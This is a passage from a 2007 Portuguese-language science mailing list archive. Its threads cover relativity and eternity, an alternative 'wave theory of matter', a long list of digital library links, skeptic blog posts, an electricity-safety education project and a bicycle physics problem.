Menos incerta que essa crença, porém, é a idéia de "eternidade" que
se pode deduzir da Teoria da Relatividade de Einstein. De acordo com
essa teoria - que pode ser refutada a qualquer momento -, não existe
um "agora" absoluto e o "fluxo" do tempo (a divisão entre passado,
presente e futuro) não é o próprio tempo, mas tão-somente
a "sensação" que temos dele, ou melhor, a maneira como experimentamos
a sua "assimetria" termodinâmica. De sorte que, independentemente do
nascimento e da morte, tudo o que foi, é e será "está existindo", "ab
aeterno" e "ad aeternum", neste presente contínuo que é o "continuum"
espaçotemporal. Ok, a coisa é complicada, mas nesta lista temos
físicos que podem esclarecer essa questão.

<Kepler também via na matemática a expressão de algo divino>

Um poema de Kepler:

"A geometria existia antes da criação.
É tão eterna como o pensamento de Deus.
A geometria deu a deus um modelo para a criação.
A geometria é o próprio Deus."

<tem um cara relacionado ao ponto ômega que defende essa idéia>

Trata-se do padre Teilhard de Chardin, que, infelizmente, esteve
envolvido, não se sabe se direta ou indiretamente, na conhecida
fraude paleantropológica do "Homem de Piltdown".

Abraços,
Manuel Bulcão



SUBJECT: Re: Fw: Pilha
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 20:08

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Aceito sugestões para a resposta.

Usando todos em um mm experimento?

Dá pra testar a toxicidade dos produtos.

[]s,

Roberto Takata

> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: Maria da Penha Machado
> Enviada em: sexta-feira, 4 de maio de 2007 10:56
> Assunto: Pilha
> Grafite, Zn0 , MnO2, NH4Cl e ZnCl2 (pilha seca) em que posso usar
estes materiais que foram tirados da pilha.




SUBJECT: Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 20:19

Essa mensagem do Takata, transcrita abaixo, me fez lembrar um filme
do francês Jean Paul Belmondo, "O Magnífico". Em uma das cenas, o
protagonista - um policial - trucida um inimigo, primeiro
descarregando nele todas as trezentas balas de uma metralhadora;
depois, todo o pente de uma pistola; sem se contentar, ainda craveja
no defuntíssimo 80 punhaladas; ainda muito puto, mete uma granada na
boca do cadáver já quase em forma de papa-de-aveia; e, por último,
sadicamente, ainda lhe tasca uma dezena de chutes.

Pra que tudo isso? Sejamos racionais!:-)

Abraços,
Manuel Bulcão


--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu

> Coisas q a teoria da matéria de Ferrari precisa fazer para
demonstrar
> q é tão boa qto a teoria atual:
>
> - Prever o espectro de emissão do átomo de hidrogênio;
> - Prever a relação entre o momento da partícula e o comprimento da
> onda de deBroglie;
> - Prever a relação entre carga elétrica, distância de separação das
> cargas e a intensidade da interação entre as cargas;
> - Prever a relação entre massa dos corpos, distância entre os
corpos e
> a intensidade de interação entre eles;
> - Prever a intensidade de interação entre os quarks e a
probabilidade
> de decaimento do núcleo de um dado elemento;
> - Prever o grau de desvio de um feixe luminoso ao passar em certo
> ângulo por um campo gravitacional de certa intensidade originado por
> um corpo puntiforme e a uma dada distância;
> - Prever a velocidade de transmissão de dados por cabos elétricos e
de
> fibra óptica e a razão sinal/ruído dado um certo grau de compressão
e
> saturação da via;
> - Prever o resultado da inequação de Bell dadas duas grandezas
conjugadas;
> - Prever a geometria do espaço-tempo dada uma densidade de
> matéria-energia;
>
> Coisas q a teoria de Ferrari precisa fazer para demonstrar q é
melhor
> do q a atual (supondo q consiga demonstrar antes q é tão boa qto):
> - Prever as massas das partículas fundamentais;
> - Prever os valores de carga elétrica e cor das partículas;
> - Prever as condições de unificação das interações fundamentais.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Material, imaterial e amaterial/Era Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 21:12

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> Qualquer organismo vivo é "basicamente" informação, Oparin afirmou
> isso. Afora aqueles cuja vida é muito curta, os seres vivos estão
> constantemente renovando a matéria da qual são constituídos,
> inclusive a do seu material genético, ao ponto de chegar o momento
> em que todos os átomos que existiam em seu corpo, em determinado
> período de tempo, cederam o lugar a outros. O que resta? A
> "estrutura" determinada pela "informação".

Em parte. O organismo nunca é exatamente igual. Mal comparando é como
uma espuma sobre um caldo fervente - as bolhas estão continuamente se
formando e se desfazendo - e a "cara" da espuma permanece mais ou
menos a mm.

[]s,

Roberto Takata



SUBJECT: Sites para quem gosta de ler
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: "Vivens Scientia" <VivensScientia@yahoogroups.com>, ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 21:28

Bibliotecas do Mundo


a.. www.biblioteca.ufrgs.br - Biblioteca Central - localize os livros das
bibliotecas da UFRGS

b.. www.bcnbib.gov.ar - Biblioteca del Congreso - item Expo Virtual mostra
alguns tesouros dessa biblioteca argentina

c.. www.comunidadandina.org/bda - Biblioteca Digital Andina - Bol�via,
Col�mbia, Equador e Peru est�o representados

d.. www.obrasraras.usp.br - Biblioteca Digital de Obras Raras � livros
completos digitalizados,
como um de Lavoisier editado no s�culo 19

e.. www.hcanc.org.br/outrasinfs/biblio/biblio1.html - Biblioteca do Hospital
do C�ncer - �ndice desse acervo especializado em oncologia

f.. www.senado.gov.br/biblioteca - Biblioteca do Senado Federal - sistema de
busca nos 150 mil t�tulos da biblioteca

g.. www.prefeitura.sp.gov.br/mariodeandrade - Biblioteca M�rio de Andrade -
acervo, eventos e
hist�ria da principal biblioteca de S�o Paulo

h.. www.bn.pt - Biblioteca Nacional de Portugal � apresenta p�ginas
especiais
com reprodu��es relacionadas a E�a de Queir�s e a Giuseppe Verdi, entre
outros

i.. www.bne.es - Biblioteca Nacional de Espa�a - entre as exposi��es
virtuais,
uma interessante cole��o cartogr�fica do s�culo 16 ao 19

j.. www.bibnal.edu.ar - Biblioteca Nacional de la Rep�blica Argentina �
biblioteca, mapoteca
e fototeca

k.. www.bnm.me.gov.ar - Biblioteca Nacional de Maestros - biblioteca
argentina
voltada para
a comunidade educativa

l.. www.binape.gob.pe - Biblioteca Nacional del Per� - alguns livros
eletr�nicos, mapas e imagens

m.. www.bncrm.librari.beniculturali.it - Biblioteca Nazionale Centrale di
Roma
- exp�e detalhes de obras antigas de seu cat�logo

n.. www.biblioteca.euroweb.ro - Biblioteca Rom�neasca - textos em romeno e
dados sobre autores do pa�s:

o.. www.bvg.udc.es - Biblioteca Virtual Galega - textos em l�ngua galega,
parecida com o
portugu�s:

p.. www.bibalex.org/website - Bibliotheca Alexandrina - conhe�a a
institui��o
criada � sombra da famosa biblioteca, que sumiu h� mais de 1.600 anos

q.. www.californiadigitallibrary.org - California Digital Library - imagens
e
e-livros
oferecidos pela Universidade da Calif�rnia

r.. www.celtdigital.org - Celtic Digital Library - hist�ria e literatura
celtas

s.. www.cpmg.org.br/n_biblioteca.asp - C�rculo Psicanal�tico de Minas Gerais
-
acervo
especializado em psican�lise

t.. www.moa.cit.cornell.edu - Cornell Library Digital Collections -
compila��es variadas, sobre
agricultura e matem�tica, por exemplo

u.. www.ucc.ie/celt - Corpus of Electronic Texts - hist�ria, literatura e
pol�tica irlandesas

v.. www.crimelibrary.com - Crime Library - hist�rias reais de criminosos,
espi�es e terroristas

w.. www.educ.ar/educar/superior/biblioteca_digital - Educar Biblioteca
Digital
- em espanhol, apresenta livros e revistas de "todas as disciplinas"

x.. www.gallica.bnf.fr - Gallica - Biblioth�que Num�rique - volumes da
Biblioteca Nacional
da Fran�a digitalizados:

y.. www1.umn.edu/humanrts - Human Rights Library - mais de 14 mil documentos
relacionados aos direitos humanos

z.. www.idrc.ca/library - IDRC Library - textos e imagens desse centro de
estudos do desenvolvimento internacional

aa.. www.fordham.edu/halsall/ancient/asbook.html - Internet Ancient History
Sourcebook - p�gina dedicada � difus�o de documentos da Antiguidade

ab.. www.archive.org - Internet Archive - guarda p�ginas da internet em seus
diversos est�gios de evolu��o

ac.. www.ipl.org I- nternet Public Library - indica p�ginas em que se podem
ler documentos sobre �reas espec�ficas do conhecimento

ad.. www.cs.umb.edu/jfklibrary - John F. Kennedy Library - sobre o
presidente
americano John F. Kennedy, morto em 1963:

ae.. www.libdex.com - LibDex - �ndice para localizar mais de 18 mil
bibliotecas do mundo todo e seus sites

af.. www.librarytechnology.org/libwebcats - Lib-web-cats - enumera
bibliotecas
de mais de 60 pa�ses, mas o foco s�o os EUA e o Canad�

ag.. www.sunsite.berkeley.edu/Libweb - Libweb - outro site de busca de
institui��es, com 6.600 links de 115 pa�ses:

ah.. www.msg.org.br - Mosteiro S�o Geraldo - livros e peri�dicos sobre
hist�ria e literatura h�ngara, filosofia, teologia e religi�o

ai.. www.nla.gov.au - National Library of Australia - divulga peri�dicos
australianos da d�cada de 1840

aj.. www.odl.ox.ac.uk - Oxford Digital Library - centraliza acesso a
projetos
digitais das bibliotecas da Universidade de Oxford

ak.. www.perseus.tufts.edu - Perseus Digital Library - dedicado a estudos
sobre os gregos e romanos antigos

al.. www.bib.uab.es - Servei de Biblioteques - bibliotecas da Universidade
Aut�noma de Barcelona

am.. www.evidenceincamera.co.uk - The Aerial Reconnaissance Archives -
rec�m-lan�ado, site promete divulgar 5 milh�es de fotos a�reas da Segunda
Guerra Mundial

an.. www.bl.uk - The British Library - al�m de busca no cat�logo, tem
cole��es
virtuais separadas por regi�o geogr�fica

ao.. www.digital.nypl.org - The Digital Library - diversas cole��es
tem�ticas,
como a de escritoras negras americanas do s�culo 19

ap.. Twww.dsal.uchicago.edu - he Digital South Asia Library - peri�dicos,
fotos e estat�sticas que contam a hist�ria do Sul da �sia

aq.. www.huntington.org - The Huntington - grande quantidade de obras raras
em
arte e bot�nica

ar.. www.mathforum.org/library - The Math Forum - textos que se prop�em a
auxiliar no ensino da matem�tica

as.. www.sadl.uleth.ca/nz/cgi-bin/library - The New Zealand Digital Library
-
destaque para os arquivos sobre quest�es humanit�rias

at.. www.humi.keio.ac.jp/treasures - Treasures of Keyo University - um dos
destaques � a reprodu��o da B�blia de Gutenberg

au.. www.unesco.org/webworld/portal_bib - Unesco Libraries Portal -
informa��es sobre bibliotecas e projetos voltados para a preserva��o da
mem�ria

av.. www.uol.com.br/bibliot - UOL Biblioteca - dicion�rios, guias de turismo
e
especiais noticiosos

aw.. www.lib.utexas.edu - UT Library Online - possui uma ampla cole��o de
mapas


Bibliotecas Virtuais


ax.. www.alexandriavirtual.com.br - Alexandria Virtual - acervo variado, de
literatura a humor

ay.. www.bartleby.com - Bartleby.com - importantes textos, como os 70
volumes
da "Harvard Classics" e a obra completa de Shakespeare

az.. www.bibliomania.com - Bibliomania - 2.000 textos cl�ssicos e guias de
estudo em ingl�s

ba.. www.fausernet.novara.it/fauser/biblio - Biblioteca dei Classici
Italiani
- literatura italiana, dos "duecento" aos "novecento"

bb.. www.multimedios.org - Biblioteca Electr�nica Cristiana - teologia e
humanidades vistas por religiosos

bc.. www.bibvirt.futuro.usp.br - Biblioteca Virtual do Estudante Brasileiro
-
especializada em literatura em l�ngua portuguesa

bd.. www.biblio.com.br - Biblioteca Virtual - Literatura - pretende reunir
grandes obras liter�rias

be.. www.cervantesvirtual.com - Biblioteca Virtual Miguel de Cervantes -
cultura hispano-americana

bf.. www.biblioteca.org.ar - Biblioteca Virtual Universal - textos
infanto-juvenis, liter�rios e t�cnicos

bg.. www.uol.com.br/machadodeassis - Contos Completos de Machado de Assis -
mais de 200 contos de Machado de Assis

bh.. www.cultvox.com.br - Cultvox - servi�o que oferece alguns e-livros
gratuitamente e vende outros

bi.. www.dearreader.com - Dearreader.com - clube virtual que envia por
e-mail
trechos de livros

bj.. www.ebooksbrasil.com - eBooksbrasil - livros eletr�nicos gratuitos em
diversos formatos

bk.. www.ig.com.br/paginas/novoigler/download.html - iGLer - acesso r�pido a
duas centenas de obras liter�rias em portugu�s

bl.. www.icdlbooks.org - International Children's Digital Library - pretende
oferecer e-livros infantis em cem l�nguas

bm.. www.intratext.com - IntraText - textos completos em diversas l�nguas,
entre elas o latim

bn.. www.secrel.com.br/jpoesia - Jornal da Poesia - importante acervo de
poesia em l�ngua portuguesa, com textos de mais de 3.000 autores

bo.. www.netlibrary.net - Net eBook Library - biblioteca virtual com parte
do
acervo restrito a assinantes do site

bp.. www.nuovorinascimento.org/n-rinasc/homepage.htm - Nuovo Rinascimento -
especializado em documentos do Renascimento italiano

bq.. www.literature.org - Online Literature Library - pequena cole��o para
ler
diretamente no navegador

br.. www.liberliber.it/biblioteca - Progetto Manuzio - textos em italiano
para
download, incluindo �peras

bs.. www.gutenberg.net - Project Gutenberg - mantido por volunt�rios,
importante site com obras integrais dispon�veis gratuitamente

bt.. www.biblioteca.clarin.com - Proyecto Biblioteca Digital Argentina -
obras
consideradas representativas da literatura argentina

bu.. www.romanzieri.com - Romanzieri.com - livros eletr�nicos em italiano
compat�veis com o programa Microsoft Reader

bv.. www.sololiteratura.com - Sololiteratura.com - textos sobre autores
hispano-americanos

bw.. www.usc.es/~ilgas/escolma.html - Textos de Literatura Galega Medieval -
pequena sele��o de poesias e hist�rias medievais

bx.. www.online-literature.com - The Literature Network - poemas, contos e
romances de aproximadamente 90 autores

by.. www.digital.library.upenn.edu/books - The Online Books Page - afirma
ter
mais de 20 mil livros on-line

bz.. www.sunsite.berkeley.edu/OMACL - The Online Medieval and Classical
Library - obras liter�rias cl�ssicas e medievais

ca.. www.usinadeletras.com.br - Usina de Letras - divulga a produ��o de
escritores independentes

cb.. www.vbookstore.com.br - Virtual Book Store - literatura do Brasil e
estrangeira, biografias e resumos

cc.. www.virtualbooks.terra.com.br - Virtual Books Online - e-livros
gratuitos
em portugu�s, ingl�s, franc�s, espanhol, alem�o e italiano




Sobre Teses e Disserta��es




a.. www.capes.gov.br - Cient�ficos Banco de Teses - resumos de teses e
disserta��es apresentadas no Brasil desde 1987

b.. www.teses.usp.br - Biblioteca Digital de Teses e Disserta��es - textos
integrais de parte das teses e disserta��es apresentadas na USP

c.. www.bireme.br - Biblioteca Virtual em Sa�de - revistas cient�ficas e
dados
de pesquisas sobre adolesc�ncia, ambiente e sa�de

d.. www.theses.mit.edu - Digital Library of MIT Theses - algumas teses do
Instituto de Tecnologia de Massachusetts; a mais antiga � de 1888

e.. www.lib.umi.com/dissertations - ProQuest Digital Dissertations - sistema
para pesquisar resumos de teses e de disserta��es

f.. www.universiabrasil.net/busca_teses.jsp - Universia Brasil - busca teses
nas universidades p�blicas paulistas e na PUC-PR



Outros Sites Publica��es e Peri�dicos


a.. www.grin.hq.nasa.gov - Great Images in Nasa - imagens hist�ricas da
ag�ncia espacial
americana

b.. www.phil.cdc.gov - Public Health Image Library - fotos, ilustra��es e
anima��es voltadas para o esclarecimento de quest�es de sa�de p�blica

c.. www.ncbi.nlm.nih.gov/entrez/query.fcgi - PubMed - refer�ncias a 14
milh�es
de artigos biom�dicos

d.. www.scielo.br - SciELO - biblioteca eletr�nica com peri�dicos
cient�ficos
brasileiros

e.. www.sciencedirect.com - ScienceDirect - mais de 1.800 revistas, de "ACC
Current Journal Review" a "Zoological Journal"


Associa��es


a.. www.ala.org - American Library Association - sobre o sistema de
bibliotecas dos EUA

b.. www.apbad.pt - Associa��o Portuguesa de Bibliotec�rios, Arquivistas e
Documentalistas � publica��es indicadas e agenda de eventos da �rea

c.. www.abf.asso.fr - Association des Biblioth�caires Fran�ais - dossi�s
sobre
o sistema franc�s de bibliotecas e temas correlatos

d.. www.cfb.org.br - Conselho Federal de Biblioteconomia - atualidades e
links
de interesse da �rea

e.. www.crb8.org.br - Conselho Regional de Biblioteconomia de S�o Paulo -
legisla��o e eventos da biblioteconomia

f.. www.clir.org - Council on Library and Information Resources -
organiza��o
que se preocupa com a preserva��o de informa��es

g.. www.eblida.org - European Bureau of Library, Information and
Documentation
Associations - entidade europ�ia dedicada � promo��o da ci�ncia da
informa��o

h.. www.ifla.org - International Federation of Library Associations and
Institutions - associa��o com membros em mais de 150 pa�ses

i.. www.sedic.es - Sociedad Espa�ola de Documentaci�n e Informaci�n
Cient�fica
- oportunidades, como cursos virtuais




Bibliotecas P�blicas




a.. www.loc.gov - Biblioteca do Congresso americano - considerada a maior e
uma das melhores bibliotecas do mundo, � refer�ncia internacional, com
conte�dos trabalhados e relacionados

b.. www.bn.br - Biblioteca Nacional (Brasil) - o site � refer�ncia para
todas
as bibliotecas do pa�s, com farta documenta��o e imagens digitalizadas, al�m
de
informa��es e servi�os

c.. www4.prefeitura.sp.gov.br/biblioteca/PaginaInicial.asp - Bibliotecas da
cidade de S�o Paulo - a cidade tem a maior rede de bibliotecas p�blicas do
pa�s, e uma visita ao site � imprescind�vel para conhecer suas cole��es e
servi�os, com destaque para as obras e imagens digitalizadas da Biblioteca
M�rio de Andrade

d.. www.prossiga.br - Bibliotecas virtuais do sistema MCT/CNPq/Ibict -
grande
refer�ncia na �rea de bibliotecas virtuais, � o site mais importante no
Brasil
de informa��o e comunica��o sobre ci�ncia e tecnologia

e.. www.bibliotecas-cruesp.usp.br - Bibliotecas das universidades p�blicas
paulistas - o cons�rcio Cruesp/Bibliotecas interliga Unesp, Unicamp e USP, e
o
internauta pode consultar as mais importantes bibliotecas universit�rias do
pa�s, refer�ncias para diferentes campos da pesquisa.





















----- Finalizar mensagem encaminhada -----



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SUBJECT: Encyclopedia of Life
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 22:54

Projeto pretende lançar uma "arca de Noé" na internet
http://www1.folha.uol.com.br/folha/ciencia/ult306u16403.shtml
---------------

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Fw: Informações importantes
FROM: ivanildo ximenes <icximenes@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 23:41

Marcio Ortman,

Como sugestão, procure nos escritórios da Eletrobrás ou de Furnas quem responde pelo programa Procel nas Escolas.
Você terá todo a referência e material para realizar um bom trabalho.

Ivanildo Ximenes

Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu: Tem alguém do Rio de Janeiro nessa lista que possa transmitir a ajuda necessária?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: Marcio Ortman
Para: leobarretos@uol.com.br
Enviada em: sexta-feira, 4 de maio de 2007 09:31
Assunto: Informações importantes

Prezado Professor,

Antes de mais nada quero parabenizá-lo pela página, onde podemos ter as mais variadas e importantes informações sobre os diversos campos da ciência.
Participo de uma empresa de eventos e promoções aqui no Rio de Janeiro e, estamos desenvolvendo um projeto voltado para as comunidades carentes do município e do estado. Queremos levar às crianças e jovens desses locais, informações sobre a correta utilização da energia elétrica. A idéia é criar nos " consumidores futuros " ( crianças e jovens ) a consciência do que a energia elétrica nos traz em termos de conforto e, principalmente segurança. Um exemplo: nossa intenção é mostrar como " nasce " a energia elétrica, como hidroelétrica, termoelétricas e demais fontes fornecedoras de energia. A energia elétrica é paga ( os investimentos feitos pelas distribuidoras é muito grande - as pessoas, de modo geral, não dão muita atenção para isso, só sentindo na pele quando a energia falta ). Vamos mostrar que furtar energia elétrica ( o famoso " gato " ) é crime, além de extremamente perigoso, com risco de vida. Mostrar os riscos como soltar pipas perto dos fios da rede elétrica,
subir em postes, etc... . É importante mostrar como utilizar corretamente a energia elétrica, através da manutenção dos aparelhos elétricos ( não secar roupas na parte de trás de geladeiras, não sobrecarregar as tomadas com benjamins em demasia ). Enfim, tentar, através de uma maneira lúdica o que é a energia elétrica.
Para não tornar o assunto " chato " e com isso perder a atenção de nosso público, pretendemos encenar uma peça teatral com personagens mostrando esses assuntos de maneira divertida. Pretendemos colocar artefatos, mostrando como " criar " eletricidade, como uma bicicleta que ao ser pedalada, acende o seu farol através do dinamo. Que tipo de colaboração poderíamos obter do senhor à respeito do assunto ? Além da bicicleta citada, que outros " brinquedos " ( se é que podemos chamar assim ) poderíamos exemplificar para as crianças ? Para não tomar muito o seu tempo, procurei resumir o assunto, mas eu acho que deu para o senhor entender, não ?

Agradeço antecipadamente a sua atenção,

Obrigado,

Marcio Ortman

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Fale com seus amigos de graça com o novo Yahoo! Messenger
http://br.messenger.yahoo.com/

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SUBJECT: Falando pelo nariz
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 09/05/2007 04:27

Falando pelo nariz <http://www.ceticismoaberto.com/news/?p=875>

Assista ao v�deo <http://www.ceticismoaberto.com/news/?p=875>

"Frofroggy" alega ter a extraordin�ria habilidade de falar pelo nariz, e
embora todo tipo de hoax circule pelo Youtube � e forjar o v�deo acima n�o
seria nada complexo � tendemos a acreditar que seja leg�timo. N�o s� isso,
somos c�ticos dogm�ticos e tendenciosos, e n�o s� engolimos esse v�deo como
pensamos que seja especialmente relevante a casos Poltergeist, especialmente
o de Enfield. Temos um document�rio em que a pobre garota possu�da pelo
esp�rito fala (ou melhor, o esp�rito fala), e peritos teriam atestado n�o
ser ventriloquismo convencional. � curiosamente similar ao que vemos
aqui. Outros
aspectos do caso Enfield tamb�m podem ser facilmente
reproduzidos<http://www.ceticismoaberto.com/news/?p=809>.
Infelizmente ainda n�o come�amos a avalanche de documentarios comentados
planejados h� tempos, que incluem bombas como Dawkins de shortinho,
seguramente um dos maiores desservi��es � defesa da evolu��o.

Postado em Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Personalidades <http://www.ceticismoaberto.com/news/?cat=5>,
Fantasmas<http://www.ceticismoaberto.com/news/?cat=6>,
Parapsicologia <http://www.ceticismoaberto.com/news/?cat=8>,
Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori
Comente!
� <http://www.ceticismoaberto.com/news/?p=875#respond>

*Posts relacionados:*
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=609>Nasobema das ilhas
Hi-yi-yi O grande naturalista...
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<http://www.ceticismoaberto.com/news/?p=63>Futuro do Passado Cards de
1900 que vinham de br...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=72>Autor de c�rculo em
planta��o flagrado Imagem ...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=165>Chupacabras capturado em
v�deo! Orelhas de burr...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=159>Papai Noel OVNI Reveladora
fotografia de Raul Ga...


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SUBJECT: Gizmo — Imperdível
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 09/05/2007 04:32

Gizmo � Imperd�vel <http://100nexos.com/arquivo/139> Assista a
Gizmo<http://100nexos.com/arquivo/139><http://100nexos.com/arquivo/139#respond>

"Gizmo" � uma compila��o fabulosa de inven��es do in�cio do s�culo XX
demonstradas em seu magn�fico fracasso por seus pr�prios inventores. Alguns
filmes, principalmente as tentativas fracassadas de v�o, s�o muito famosos �
um homem com asas caindo de cara no ch�o � a ess�ncia da com�dia pastel�o �,
mas "Gizmo" � o document�rio original de 1977 com nada menos que uma hora de
vinte minutos. Howard Smith teve o cuidado de excluir qualquer filmagem que
tenha resultado na morte do inventor, j� que como contou a David
Letterman<http://www.youtube.com/watch?v=I7jwkDWsQQk>,
em exibi��es teste a audi�ncia parava de rir por quinze minutos depois que
algu�m morria. Isso lembra que as exibi��es hoje c�micas e c�ndidas,
permenecem sim demonstra��es essencialmente belas de inventividade e
coragem. Vale lembrar que naquela �poca a ci�ncia e tecnologia ainda eram
vistas como meios de transforma��o positiva do mundo, e o cidad�o comum
ainda achava ser capaz de desempenhar seu papel neste processo.
[via Proceedings of the Athanasius Kircher
Society<http://www.kirchersociety.org/blog/2007/04/27/howard-smiths-gizmo/>]


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SUBJECT: Fw: Fisica II -torque
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 06:15

Quem quer dar um empurrão nessa bicicleta?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: pedroarnoldi
Para: leobarretos
Enviada em: terça-feira, 8 de maio de 2007 15:38
Assunto: Fisica II -torque


Boa Tarde!
Sou aluno de Eng.Mecânica 3 semestre.
Estou com uma duvida em uma questão, não consigo resolvê-la, se o senhor puder me dar uma ajuda.

Uma bicicleta caindo.O momento de inercia da roda dianteira em torno de seu eixo é igual a 0.085 Kg.m², seu raio é de 0.33 m, e a velocidade da bicicleta para frente é igual a 6 m/s. Calcule a velocidade angular da roda dianteira em torno de um eixo vertical para contrabalançar o torque que tende a fazer a bicicleta virar produzido por uma massa de 50 Kg situado a uma distância horizontal de 0.04 m da linha que liga os pontos de contato das rodas com o solo.

Abraço


--------------------------------------------------------------------------------


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SUBJECT: T.O.M.; era [ E=m.c2 ]
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 06:56

Essa thread despertou-me uma pergunta associada ao texto a seguir:

>Imagine um universo que não exista inércia? Ou
onde não exista velocidade máxima? Quais as
conseqüências disto?

Imediatamente pensei nos jogos eletrônicos onde os 'personagens' sofrem desvios imediatos de 90º; não há uma curva suave passando de uma direção para outra ... é brusco!
Não tenho dúvida que isso ocorre no TRC devido à minúscula inércia do elétron sob a ação do campo elétrico das placas defletoras (ou do campo magnético do yoke nos tubos de TV).
Minha pergunta é: Que deveríamos fazer para poder 'visualizar' no anteparo fluorescente do TRC essa 'minúscula' curva que o elétron deve fazer devido à sua insignificante inércia?

Meu pensamento voou um pouco além. Vamos imaginar um TRC diferente, um tubo onde os elétrons fossem substituídos por íons cuja inércia supera tremendamente aquela dos elétrons. Nesse 'novo TRC' as 'curvinhas' dos íons seriam visíveis na tela?

Curiosidade ........

Outra pergunta: O modelo das ondas estacionárias não é devido a De Broglie?

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 8 de maio de 2007 15:59
Assunto: Re: [ciencialist] Re: E=m.c2


Olá Alvaro,

Estamos chegando próximos de um entendimento!

A Teoria Ondulatória da Matéria visa ser uma outra
opção coerente e concreta para explicar os
fenômenos físicos, em contrapartida às explicações
apresentadas pela Física Quântica.

Existem inúmeras outras teorias que estão sendo
desenvolvidas por Físicos espalhados pelo globo.

Estas teorias estão se tornando particurlarmente
interessantes em Realidade Virtual, onde tornam
necessário ter-se teorias completas que possam
ser modeladas, programadas e executadas em
computadores.

Imagine um universo que não exista inércia? Ou
onde não exista velocidade máxima? Quais as
consequências disto?

Para que possamos entender e vislumbrar tais
universos, só criando teorias completas,
consistentes e detalhadas.

Criar leis Físicas para Realidades Virtuais não é o
objetivo principal destes trabalhos, mas considere.

A propósito, a Teoria Ondulatória da Matéria
fornece subsídios completos para modelar átomos de
hidrogênio, hélio ou qualquer outro. Se vc encontrou
alguma falha, por favor relate-nos.

Um forte abraço,

Eduardo Sardeiro
http://br.groups.yahoo.com/group/NetProcessing/


----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 2:31 PM
Subject: Re: [ciencialist] Re: E=m.c2


Essa hipótese da "onda estacionária" nada mais é do que uma maneira
diferente de escrever os postulados de Bohr. E o modelo do átomo de Bohr
funciona bem para o hidrogênio, razoavelmente bem para o hélio, mas falha
para todo o restante.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 08, 2007 2:21 PM
Subject: Re: [ciencialist] Re: E=m.c2

Sardeiro: A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Victor: Sinceramente, não sei. Vislumbro algumas
possibilidades, mas não me dediquei a pensar
sobre isso. Como disse, apenas achei interessante e tive o
trabalho de acompanhar o desenvolvimento matemático
que dá suporte à tese, vendo-lhe as consequências.
Mas sem engajamento ou algum interêsse sério.
Por razões óbvias. Mas fica a indicação, e quem pensa
assim não está só. É isso.

sds,
Victor.

----- Original Message -----
From: Eduardo Sardeiro
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 10:11 AM
Subject: Re: [ciencialist] Re: E=m.c2

Prezado Victor,

Fico satisfeito quando encontro ao menos uma
linha de pensamento em que posso dialogar e
arguir sem usar de analogias.

Ao contrário, fico indignado quando leio
frases do tipo "Daqui a uns cem anos essa
molecada chega na questão da dualidade onda-
partícula.", em plena época dos jogos
eletrônicos, tais quais o Next Generation, em
que uma realidade física é apenas isto: uma
entre várias possíveis.

Relevo isto quando penso o quanto somos
acomodados em conceber apenas um conjunto de
possibilidades para explicar os fenômenos
